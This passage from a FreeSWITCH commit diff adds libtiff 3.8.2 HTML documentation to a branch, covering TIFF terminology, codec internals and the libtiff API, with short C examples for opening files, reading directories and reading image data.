+one exists).  Bit order is automatically handled by the library when
+a raw strip or tile is filled.  If the decoded samples are interpreted
+by the decoding routine before they are passed back to the user, then
+the decoding logic must handle byte-swapping by overriding the
+<TT>tif_postdecode</TT>
+routine (set it to <TT>TIFFNoPostDecode</TT>) and doing the required work
+internally.  For an example of doing this look at the horizontal
+differencing code in the routines in <B>tif_predict.c</B>.
+
+<P>
+The variables <TT>tif_rawcc</TT>, <TT>tif_rawdata</TT>, and
+<TT>tif_rawcp</TT> in a <TT>TIFF</TT> structure
+are associated with the raw data buffer.  <TT>tif_rawcc</TT> must be non-zero
+for the library to automatically flush data.  The variable
+<TT>tif_scanlinesize</TT> is the size a user's scanline buffer should be.  The
+variable <TT>tif_tilesize</TT> is the size of a tile for tiled images.  This
+should not normally be used by compression routines, except where it
+relates to the compression algorithm.  That is, the <TT>cc</TT> parameter to the
+<TT>tif_decode*</TT> and <TT>tif_encode*</TT>
+routines should be used in terminating
+decompression/compression.  This ensures these routines can be used,
+for example, to decode/encode entire strips of data.
+
+<P>
+In general, if you have a new compression algorithm to add, work from
+the code for an existing routine.  In particular,
+<B>tif_dumpmode.c</B>
+has the trivial code for the "nil" compression scheme,
+<B>tif_packbits.c</B> is a
+simple byte-oriented scheme that has to watch out for buffer
+boundaries, and <B>tif_lzw.c</B> has the LZW scheme that has the most
+complexity -- it tracks the buffer boundary at a bit level.
+Of course, using a private compression scheme (or private tags) limits
+the portability of your TIFF files.
+
+<P>
+<HR>
+
+Last updated: $Date: 2004/09/10 14:47:31 $
+
+</BODY>
+
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/intro.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/intro.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/intro.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/intro.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/intro.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,68 @@
+<HTML>
+<HEAD>
+<TITLE>
+Introduction to the TIFF Documentation
+</TITLE>
+</HEAD>
+<BODY BGCOLOR=white> 
+<FONT FACE="Arial, Helvetica, Sans">
+<H1>
+<IMG SRC=images/strike.gif WIDTH=128 HEIGHT=100 ALIGN=left HSPACE=6>
+Introduction to the TIFF Documentation
+</H1>
+
+
+<P>
+The following definitions are used throughout this documentation.
+They are consistent with the terminology used in the TIFF 6.0 specification.
+
+<DL>
+<DT><I>Sample</I>
+<DD>The unit of information stored in an image; often called a
+  channel elsewhere.  Sample values are numbers, usually unsigned
+  integers, but possibly in some other format if the SampleFormat
+  tag is specified in a TIFF
+<DT><I>Pixel</I>
+<DD>A collection of one or more samples that go together.
+<DT><I>Row</I>
+<DD>An Nx1 rectangular collection of pixels.
+<DT><I>Tile</I>
+<DD>An NxM rectangular organization of data (or pixels).
+<DT><I>Strip</I>
+<DD>A tile whose width is the full image width.
+<DT><I>Compression</I>
+<DD>A scheme by which pixel or sample data are stored in
+  an encoded form, specifically with the intent of reducing the
+  storage cost.
+<DT><I>Codec</I>
+<DD>Software that implements the decoding and encoding algorithms
+  of a compression scheme.
+</UL>
+
+<P>
+In order to better understand how TIFF works (and consequently this
+software) it is important to recognize the distinction between the
+physical organization of image data as it is stored in a TIFF and how
+the data is interpreted and manipulated as pixels in an image.  TIFF
+supports a wide variety of storage and data compression schemes that
+can be used to optimize retrieval time and/or minimize storage space.
+These on-disk formats are independent of the image characteristics; it
+is the responsibility of the TIFF reader to process the on-disk storage
+into an in-memory format suitable for an application.  Furthermore, it
+is the responsibility of the application to properly interpret the
+visual characteristics of the image data.  TIFF defines a framework for
+specifying the on-disk storage format and image characteristics with
+few restrictions.  This permits significant complexity that can be
+daunting.  Good applications that handle TIFF work by handling as wide
+a range of storage formats as possible, while constraining the
+acceptable image characteristics to those that make sense for the
+application.
+
+
+<P>
+<HR>
+
+Last updated: $Date: 1999/08/09 20:21:21 $
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/libtiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/libtiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/libtiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/libtiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/libtiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,747 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html lang="en">
+<head>
+  <title>Using The TIFF Library</title>
+  <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
+  <meta http-equiv="content-language" content="en">
+  <style type="text/css">
+  <!--
+    th {text-align: left; vertical-align: top; font-style: italic; font-weight: normal}
+  -->
+  </style>
+</head>
+<body lang="en" text="#000000" bgcolor="#ffffff" link="#0000ff" alink="#0000ff" vlink="#0000ff">
+  <table border="0" cellspacing="0" cellpadding="0">
+    <tr>
+      <td style="padding-left: 1em; padding-right: 1em"><img src="images/cat.gif" width="113" height="146" alt=""></td>
+      <td>
+        <h1>Using The TIFF Library</h1>
+        <p>
+          <tt>libtiff</tt> is a set of C functions (a library) that support
+          the manipulation of TIFF image files.
+          The library requires an ANSI C compilation environment for building
+          and presumes an ANSI C environment for use.
+        </p>
+      </td>
+    </tr>
+  </table>
+  <br>
+  <p>
+    <tt>libtiff</tt>
+    provides interfaces to image data at several layers of abstraction (and cost).
+    At the highest level image data can be read into an 8-bit/sample,
+    ABGR pixel raster format without regard for the underlying data organization,
+    colorspace, or compression scheme.  Below this high-level interface
+    the library provides scanline-, strip-, and tile-oriented interfaces that
+    return data decompressed but otherwise untransformed.  These interfaces
+    require that the application first identify the organization of stored
+    data and select either a strip-based or tile-based API for manipulating
+    data.  At the lowest level the library
+    provides access to the raw uncompressed strips or tiles,
+    returning the data exactly as it appears in the file.
+  </p>
+  <p>
+    The material presented in this chapter is a basic introduction
+    to the capabilities of the library; it is not an attempt to describe
+    everything a developer needs to know about the library or about TIFF.
+    Detailed information on the interfaces to the library are given in
+    the <a href="http://www.remotesensing.org/libtiff/man/index.html">UNIX 
+    manual pages</a> that accompany this software.
+  </p>
+  <p>
+    Michael Still has also written a useful introduction to libtiff for the
+    IBM DeveloperWorks site available at
+    <a href="http://www.ibm.com/developerworks/linux/library/l-libtiff">http://www.ibm.com/developerworks/linux/library/l-libtiff</a>.
+  </p>
+  <p>
+    The following sections are found in this chapter:
+  </p>
+  <ul>
+    <li><a href="#version">How to tell which version you have</a></li>
+    <li><a href="#typedefs">Library Datatypes</a></li>
+    <li><a href="#mman">Memory Management</a></li>
+    <li><a href="#errors">Error Handling</a></li>
+    <li><a href="#fio">Basic File Handling</a></li>
+    <li><a href="#dirs">TIFF Directories</a></li>
+    <li><a href="#tags">TIFF Tags</a></li>
+    <li><a href="#compression">TIFF Compression Schemes</a></li>
+    <li><a href="#byteorder">Byte Order</a></li>
+    <li><a href="#dataplacement">Data Placement</a></li>
+    <li><a href="#tiffrgbaimage">TIFFRGBAImage Support</a></li>
+    <li><a href="#scanlines">Scanline-based Image I/O</a></li>
+    <li><a href="#strips">Strip-oriented Image I/O</a></li>
+    <li><a href="#tiles">Tile-oriented Image I/O</a></li>
+    <li><a href="#other">Other Stuff</a></li>
+  </ul>
+  <hr>
+  <h2 id="version">How to tell which version you have</h2>
+  <p>
+    The software version can be found by looking at the file named
+    <tt>VERSION</tt>
+    that is located at the top of the source tree; the precise alpha number
+    is given in the file <tt>dist/tiff.alpha</tt>.
+    If you have need to refer to this
+    specific software, you should identify it as:
+  </p>
+  <p style="margin-left: 40px">
+    <tt>TIFF &lt;<i>version</i>&gt; &lt;<i>alpha</i>&gt;</tt>
+  </p>
+  <p>
+    where <tt>&lt;<i>version</i>&gt;</tt> is whatever you get from
+    <tt>"cat VERSION"</tt> and <tt>&lt;<i>alpha</i>&gt;</tt> is
+    what you get from <tt>"cat dist/tiff.alpha"</tt>.
+  </p>
+  <p>
+    Within an application that uses <tt>libtiff</tt> the <tt>TIFFGetVersion</tt>
+    routine will return a pointer to a string that contains software version
+    information.
+    The library include file <tt>&lt;tiffio.h&gt;</tt> contains a C pre-processor
+    define <tt>TIFFLIB_VERSION</tt> that can be used to check library
+    version compatiblity at compile time.
+  </p>
+  <hr>
+  <h2 id="typedefs">Library Datatypes</h2>
+  <p>
+    <tt>libtiff</tt> defines a portable programming interface through the
+    use of a set of C type definitions.
+    These definitions, defined in in the files <b>tiff.h</b> and
+    <b>tiffio.h</b>,
+    isolate the <tt>libtiff</tt> API from the characteristics
+    of the underlying machine.
+    To insure portable code and correct operation, applications that use
+    <tt>libtiff</tt> should use the typedefs and follow the function
+    prototypes for the library API.
+  </p>
+  <hr>
+  <h2 id="mman">Memory Management</h2>
+  <p>
+    <tt>libtiff</tt> uses a machine-specific set of routines for managing
+    dynamically allocated memory.
+    <tt>_TIFFmalloc</tt>, <tt>_TIFFrealloc</tt>, and <tt>_TIFFfree</tt>
+    mimic the normal ANSI C routines.
+    Any dynamically allocated memory that is to be passed into the library
+    should be allocated using these interfaces in order to insure pointer
+    compatibility on machines with a segmented architecture.
+    (On 32-bit UNIX systems these routines just call the normal <tt>malloc</tt>,
+    <tt>realloc</tt>, and <tt>free</tt> routines in the C library.)
+  </p>
+  <p>
+    To deal with segmented pointer issues <tt>libtiff</tt> also provides
+    <tt>_TIFFmemcpy</tt>, <tt>_TIFFmemset</tt>, and <tt>_TIFFmemmove</tt>
+    routines that mimic the equivalent ANSI C routines, but that are
+    intended for use with memory allocated through <tt>_TIFFmalloc</tt>
+    and <tt>_TIFFrealloc</tt>.
+  </p>
+  <hr>
+  <h2 id="errors">Error Handling</h2>
+  <p>
+    <tt>libtiff</tt> handles most errors by returning an invalid/erroneous
+    value when returning from a function call.
+    Various diagnostic messages may also be generated by the library.
+    All error messages are directed to a single global error handler
+    routine that can be specified with a call to <tt>TIFFSetErrorHandler</tt>.
+    Likewise warning messages are directed to a single handler routine
+    that can be specified with a call to <tt>TIFFSetWarningHandler</tt>
+  </p>
+  <hr>
+  <h2 id="fio">Basic File Handling</h2>
+  <p>
+    The library is modeled after the normal UNIX stdio library.
+    For example, to read from an existing TIFF image the
+    file must first be opened:
+  </p>
+  <p style="margin-left: 40px">
+    <tt>#include "tiffio.h"<br>
+    main()<br>
+    {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFF* tif = TIFFOpen("foo.tif", "r");<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;... do stuff ...<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFFClose(tif);<br>
+    }</tt>
+  </p>
+  <p>
+    The handle returned by <tt>TIFFOpen</tt> is <i>opaque</i>, that is
+    the application is not permitted to know about its contents.
+    All subsequent library calls for this file must pass the handle
+    as an argument.
+  </p>
+  <p>
+    To create or overwrite a TIFF image the file is also opened, but with
+    a <tt>"w"</tt> argument:
+  <p>
+  <p style="margin-left: 40px">
+    <tt>#include "tiffio.h"<br>
+    main()<br>
+    {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFF* tif = TIFFOpen("foo.tif", "w");<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;... do stuff ...<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFFClose(tif);<br>
+    }</tt>
+  </p>
+  <p>
+    If the file already exists it is first truncated to zero length.
+  </p>
+  <table>
+    <tr>
+      <td valign=top><img src="images/warning.gif" width="40" height="40" alt=""></td>
+      <td><i>Note that unlike the stdio library TIFF image files may not be
+        opened for both reading and writing;
+        there is no support for altering the contents of a TIFF file.</i></td>
+    </tr>
+  </table>
+  <p>
+    <tt>libtiff</tt> buffers much information associated with writing a
+    valid TIFF image.  Consequently, when writing a TIFF image it is necessary
+    to always call <tt>TIFFClose</tt> or <tt>TIFFFlush</tt> to flush any
+    buffered information to a file.  Note that if you call <tt>TIFFClose</tt>
+    you do not need to call <tt>TIFFFlush</tt>.
+  </p>
+  <hr>
+  <h2 id="dirs">TIFF Directories</h2>
+  <p>
+    TIFF supports the storage of multiple images in a single file.
+    Each image has an associated data structure termed a <i>directory</i>
+    that houses all the information about the format and content of the
+    image data.
+    Images in a file are usually related but they do not need to be; it
+    is perfectly alright to store a color image together with a black and
+    white image.
+    Note however that while images may be related their directories are
+    not.
+    That is, each directory stands on its own; their is no need to read
+    an unrelated directory in order to properly interpret the contents
+    of an image.
+  </p>
+  <p>
+    <tt>libtiff</tt> provides several routines for reading and writing
+    directories.  In normal use there is no need to explicitly
+    read or write a directory: the library automatically reads the first
+    directory in a file when opened for reading, and directory information
+    to be written is automatically accumulated and written when writing
+    (assuming <tt>TIFFClose</tt> or <tt>TIFFFlush</tt> are called).
+  </p>
+  <p>
+    For a file open for reading the <tt>TIFFSetDirectory</tt> routine can
+    be used to select an arbitrary directory; directories are referenced by
+    number with the numbering starting at 0.  Otherwise the
+    <tt>TIFFReadDirectory</tt> and <tt>TIFFWriteDirectory</tt> routines can
+    be used for sequential access to directories.
+    For example, to count the number of directories in a file the following
+    code might be used:
+  </p>
+  <p style="margin-left: 40px">
+    <tt>#include "tiffio.h"<br>
+    main(int argc, char* argv[])<br>
+    {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFF* tif = TIFFOpen(argv[1], "r");<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;if (tif) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int dircount = 0;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dircount++;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} while (TIFFReadDirectory(tif));<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%d directories in %s\n", dircount, argv[1]);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFClose(tif);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;exit(0);<br>
+    }</tt>
+  </p>
+  <p>
+    Finally, note that there are several routines for querying the
+    directory status of an open file:
+    <tt>TIFFCurrentDirectory</tt> returns the index of the current
+    directory and
+    <tt>TIFFLastDirectory</tt> returns an indication of whether the
+    current directory is the last directory in a file.
+    There is also a routine, <tt>TIFFPrintDirectory</tt>, that can
+    be called to print a formatted description of the contents of
+    the current directory; consult the manual page for complete details.
+  </p>
+  <hr>
+  <h2 id="tags">TIFF Tags</h2>
+  <p>
+    Image-related information such as the image width and height, number
+    of samples, orientation, colorimetric information, etc.
+    are stored in each image
+    directory in <i>fields</i> or <i>tags</i>.
+    Tags are identified by a number that is usually a value registered
+    with the Aldus (now Adobe) Corporation.
+    Beware however that some vendors write
+    TIFF images with tags that are unregistered; in this case interpreting
+    their contents is usually a waste of time.
+  </p>
+  <p>
+    <tt>libtiff</tt> reads the contents of a directory all at once
+    and converts the on-disk information to an appropriate in-memory
+    form.  While the TIFF specification permits an arbitrary set of
+    tags to be defined and used in a file, the library only understands
+    a limited set of tags.
+    Any unknown tags that are encountered in a file are ignored.
+    There is a mechanism to extend the set of tags the library handles
+    without modifying the library itself;
+    this is described <a href="addingtags.html">elsewhere</a>.
+  </p>
+  <p>
+    <tt>libtiff</tt> provides two interfaces for getting and setting tag
+    values: <tt>TIFFGetField</tt> and <tt>TIFFSetField</tt>.
+    These routines use a variable argument list-style interface to pass
+    parameters of different type through a single function interface.
+    The <i>get interface</i> takes one or more pointers to memory locations
+    where the tag values are to be returned and also returns one or
+    zero according to whether the requested tag is defined in the directory.
+    The <i>set interface</i> takes the tag values either by-reference or
+    by-value.
+    The TIFF specification defines
+    <i>default values</i> for some tags.
+    To get the value of a tag, or its default value if it is undefined,
+    the <tt>TIFFGetFieldDefaulted</tt> interface may be used.
+  </p>
+  <p>
+    The manual pages for the tag get and set routines specifiy the exact data types
+    and calling conventions required for each tag supported by the library.
+  </p>
+  <hr>
+  <h2 id="compression">TIFF Compression Schemes</h2>
+  <p>
+    <tt>libtiff</tt> includes support for a wide variety of
+    data compression schemes.
+    In normal operation a compression scheme is automatically used when
+    the TIFF <tt>Compression</tt> tag is set, either by opening a file
+    for reading, or by setting the tag when writing.
+  </p>
+  <p>
+    Compression schemes are implemented by software modules termed <i>codecs</i>
+    that implement decoder and encoder routines that hook into the
+    core library i/o support.
+    Codecs other than those bundled with the library can be registered
+    for use with the <tt>TIFFRegisterCODEC</tt> routine.
+    This interface can also be used to override the core-library
+    implementation for a compression scheme.
+  </p>
+  <hr>
+  <h2 id="byteorder">Byte Order</h2>
+  <p>
+    The TIFF specification says, and has always said, that
+    <em>a correct TIFF
+    reader must handle images in big-endian and little-endian byte order</em>.
+    <tt>libtiff</tt> conforms in this respect.
+    Consequently there is no means to force a specific
+    byte order for the data written to a TIFF image file (data is
+    written in the native order of the host CPU unless appending to
+    an existing file, in which case it is written in the byte order
+    specified in the file).
+  </p>
+  <hr>
+  <h2 id="dataplacement">Data Placement</h2>
+  <p>
+    The TIFF specification requires that all information except an
+    8-byte header can be placed anywhere in a file.
+    In particular, it is perfectly legitimate for directory information
+    to be written after the image data itself.
+    Consequently TIFF is inherently not suitable for passing through a
+    stream-oriented mechanism such as UNIX pipes.
+    Software that require that data be organized in a file in a particular
+    order (e.g. directory information before image data) does not
+    correctly support TIFF.
+    <tt>libtiff</tt> provides no mechanism for controlling the placement
+    of data in a file; image data is typically written before directory
+    information.
+  </p>
+  <hr>
+  <h2 id="tiffrgbaimage">TIFFRGBAImage Support</h2>
+  <p>
+    <tt>libtiff</tt> provides a high-level interface for reading image
+    data from a TIFF file.  This interface handles the details of
+    data organization and format for a wide variety of TIFF files;
+    at least the large majority of those files that one would normally
+    encounter.  Image data is, by default, returned as ABGR
+    pixels packed into 32-bit words (8 bits per sample).  Rectangular
+    rasters can be read or data can be intercepted at an intermediate
+    level and packed into memory in a format more suitable to the
+    application.
+    The library handles all the details of the format of data stored on
+    disk and, in most cases, if any colorspace conversions are required:
+    bilevel to RGB, greyscale to RGB, CMYK to RGB, YCbCr to RGB, 16-bit
+    samples to 8-bit samples, associated/unassociated alpha, etc.
+  </p>
+  <p>
+    There are two ways to read image data using this interface.  If
+    all the data is to be stored in memory and manipulated at once,
+    then the routine <tt>TIFFReadRGBAImage</tt> can be used:
+  </p>
+  <p>
+  <p style="margin-left: 40px">
+    <tt>#include "tiffio.h"<br>
+    main(int argc, char* argv[])<br>
+    {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFF* tif = TIFFOpen(argv[1], "r");<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;if (tif) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32 w, h;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;size_t npixels;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32* raster;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &amp;w);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &amp;h);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;npixels = w * h;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;raster = (uint32*) _TIFFmalloc(npixels * sizeof (uint32));<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (raster != NULL) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (TIFFReadRGBAImage(tif, w, h, raster, 0)) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;...process raster data...<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_TIFFfree(raster);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFClose(tif);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;exit(0);<br>
+    }</tt>
+  </p>
+  <p>
+    Note above that <tt>_TIFFmalloc</tt> is used to allocate memory for
+    the raster passed to <tt>TIFFReadRGBAImage</tt>; this is important
+    to insure the ``appropriate type of memory'' is passed on machines
+    with segmented architectures.
+  </p>
+  <p>
+    Alternatively, <tt>TIFFReadRGBAImage</tt> can be replaced with a
+    more low-level interface that permits an application to have more
+    control over this reading procedure.  The equivalent to the above
+    is:
+  </p>
+  <p style="margin-left: 40px">
+    <tt>#include "tiffio.h"<br>
+    main(int argc, char* argv[])<br>
+    {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFF* tif = TIFFOpen(argv[1], "r");<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;if (tif) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFRGBAImage img;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char emsg[1024];<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (TIFFRGBAImageBegin(&amp;img, tif, 0, emsg)) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;size_t npixels;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32* raster;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;npixels = img.width * img.height;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;raster = (uint32*) _TIFFmalloc(npixels * sizeof (uint32));<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (raster != NULL) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (TIFFRGBAImageGet(&amp;img, raster, img.width, img.height)) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;...process raster data...<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_TIFFfree(raster);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFRGBAImageEnd(&amp;img);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFError(argv[1], emsg);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFClose(tif);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;exit(0);<br>
+    }</tt>
+  </p>
+  <p>
+    However this usage does not take advantage of the more fine-grained
+    control that's possible.  That is, by using this interface it is
+    possible to:
+  </p>
+  <ul>
+    <li>repeatedly fetch (and manipulate) an image without opening
+      and closing the file</li>
+    <li>interpose a method for packing raster pixel data according to
+      application-specific needs (or write the data at all)</li>
+    <li>interpose methods that handle TIFF formats that are not already
+      handled by the core library</li>
+  </ul>
+  <p>
+    The first item means that, for example, image viewers that want to
+    handle multiple files can cache decoding information in order to
+    speedup the work required to display a TIFF image.
+  </p>
+  <p>
+    The second item is the main reason for this interface.  By interposing
+    a "put method" (the routine that is called to pack pixel data in
+    the raster) it is possible share the core logic that understands how
+    to deal with TIFF while packing the resultant pixels in a format that
+    is optimized for the application.  This alternate format might be very
+    different than the 8-bit per sample ABGR format the library writes by
+    default.  For example, if the application is going to display the image
+    on an 8-bit colormap display the put routine might take the data and
+    convert it on-the-fly to the best colormap indices for display.
+  </p>
+  <p>
+    The last item permits an application to extend the library
+    without modifying the core code.
+    By overriding the code provided an application might add support
+    for some esoteric flavor of TIFF that it needs, or it might
+    substitute a packing routine that is able to do optimizations
+    using application/environment-specific information.
+  </p>
+  <p>
+    The TIFF image viewer found in <b>tools/sgigt.c</b> is an example
+    of an application that makes use of the <tt>TIFFRGBAImage</tt>
+    support.
+  </p>
+  <hr>
+  <h2 id="scanlines">Scanline-based Image I/O</h2>
+  <p>
+    The simplest interface provided by <tt>libtiff</tt> is a
+    scanline-oriented interface that can be used to read TIFF
+    images that have their image data organized in strips
+    (trying to use this interface to read data written in tiles
+    will produce errors.)
+    A scanline is a one pixel high row of image data whose width
+    is the width of the image.
+    Data is returned packed if the image data is stored with samples
+    packed together, or as arrays of separate samples if the data
+    is stored with samples separated.
+    The major limitation of the scanline-oriented interface, other
+    than the need to first identify an existing file as having a
+    suitable organization, is that random access to individual
+    scanlines can only be provided when data is not stored in a
+    compressed format, or when the number of rows in a strip
+    of image data is set to one (<tt>RowsPerStrip</tt> is one).
+  </p>
+  <p>
+    Two routines are provided for scanline-based i/o:
+    <tt>TIFFReadScanline</tt>
+    and
+    <tt>TIFFWriteScanline</tt>.
+    For example, to read the contents of a file that
+    is assumed to be organized in strips, the following might be used:
+  </p>
+  <p style="margin-left: 40px">
+    <tt>#include "tiffio.h"<br>
+    main()<br>
+    {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFF* tif = TIFFOpen("myfile.tif", "r");<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;if (tif) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32 imagelength;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tdata_t buf;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32 row;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &amp;imagelength);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf = _TIFFmalloc(TIFFScanlineSize(tif));<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (row = 0; row &lt; imagelength; row++)<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffreadscanline(tif, buf, row);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_tifffree(buf);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffclose(tif);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    }</tt>
+  </p>
+  <p>
+    <tt>TIFFScanlineSize</tt> returns the number of bytes in
